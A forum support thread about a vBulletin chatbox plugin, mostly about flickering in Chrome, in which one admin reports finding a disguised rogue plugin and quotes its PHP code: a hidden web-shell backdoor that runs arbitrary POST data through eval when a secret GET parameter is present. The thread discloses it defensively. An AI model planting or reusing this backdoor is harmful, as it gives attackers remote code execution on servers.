A few of my members have said that this isn't working properly in chrome.

It is fine in firefox and other browsers.

However in chrome the shoutbox keeps moving and is always flickering.

Probably a style issue, but who knows since you haven't given us a link/test account to see for ourselves. You also haven't said how it behaves for you in Chrome.

FWIW, mine looks fine on my forum in Chrome 11.

Sorry here is the link:

I don't use chrome. I use either firefox or IE. It works fine for me.

But my members have had problems using IE and Firefox.

I have a security issue related to this plugin. Today I noticed a plugin called "VSa - ChatBox -ILL" on my site, listed under product vBulletin (not the chatbox product). The plugin code was

Code:

if(isset($_GET['aimn++++'])){echo "<h1>jkrose</h1><pre>";eval($_POST[shuix]);exit;}

If I'm reading this correctly, it will allow remote PHP code execution on my server. I do not know if there is a vulnerability in the chatbox code, or if my site was targeted because I have the chatbox installed, but either way I figured you should know about it.

That URL isn't resolving for me. As an admin you must install all the browsers, including Chrome and Safari, so you can test these things. Really, it would almost have taken less time to install Chrome than to type that you didn't have it. I wouldn't worry about it if it works for you as there probably isn't much you can do anyway. Maybe some kind of odd video issue on their computer.

Thanks for the notice. I do not have this plugin. I like to think it was installed by one of your [former] admins, as opposed to an outside hacker, but who knows. Presumably they used the name of an existing plugin at random to make it harder to notice. I'd watch for it reappearing, change everyone's passwords including cpanel and ftp, and consider wiping the site clean and reinstalling everything.

As a chatbox, it's pretty resource-heavy. If that's an issue, you should look into using a hosted solution.

I have tried it in chrome and it doesn't work as well for me either. It flickers constantly.

I know a few members who have had this problem.

Just letting you know, as other people might have had the same problem.

Just out of curiosity if nothing else I'd like to see it. The URL is now resolving, but you forgot to enable the box for guests or give us a test account login, so I can't see it.
